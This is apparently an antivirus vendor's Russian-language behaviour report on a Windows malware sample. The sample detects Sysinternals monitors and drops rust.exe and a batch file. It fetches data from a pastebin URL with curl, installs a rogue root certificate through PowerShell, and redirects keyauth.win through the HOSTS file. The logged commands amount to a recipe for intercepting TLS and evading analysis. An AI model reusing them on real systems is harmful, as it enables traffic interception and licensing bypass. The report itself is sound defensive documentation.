Техническая информация
Вредоносные функции
Ищет следующие окна с целью
обнаружения утилит для анализа:
- ClassName: 'FilemonClass', WindowName: ''
- ClassName: '', WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
- ClassName: '', WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'RegmonClass', WindowName: ''
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\auteed1.tmp
- %TEMP%\rust.exe
- %TEMP%\autf067.tmp
- %HOMEPATH%\appdata\hosts.bat
- nul
Удаляет следующие файлы
- %TEMP%\auteed1.tmp
- %TEMP%\autf067.tmp
- %HOMEPATH%\appdata\hosts.bat
Перемещает следующие файлы
- %TEMP%\rust.exe в <Текущая директория>\cvrlweikswlqyhge .exe
Изменяет файл HOSTS.
Другое
Ищет следующие окна
- ClassName: 'Registry Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: '18467-41' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\rust.exe'
- '%WINDIR%\syswow64\cmd.exe' /c %HOMEPATH%\AppData\hosts.bat' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c %HOMEPATH%\AppData\hosts.bat
- '%WINDIR%\syswow64\cmd.exe' /c curl -s https://pastebin.com/raw/sD69ivJ5
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" echo "
- '%WINDIR%\syswow64\findstr.exe' /R "^[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*$"
- '%WINDIR%\syswow64\certutil.exe' -store TrustedRoot
- '%WINDIR%\syswow64\findstr.exe' /i /c:"%HOMEPATH%\AppData\server.crt"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command "Import-Certificate -FilePath '%HOMEPATH%\AppData\server.crt' -CertStoreLocation 'Cert:\LocalMachine\Root' -ErrorAction SilentlyContinue"
- '%WINDIR%\syswow64\findstr.exe' /C:" keyauth.win" "<DRIVERS>\etc\hosts"
- '%WINDIR%\syswow64\ipconfig.exe' /flushdns
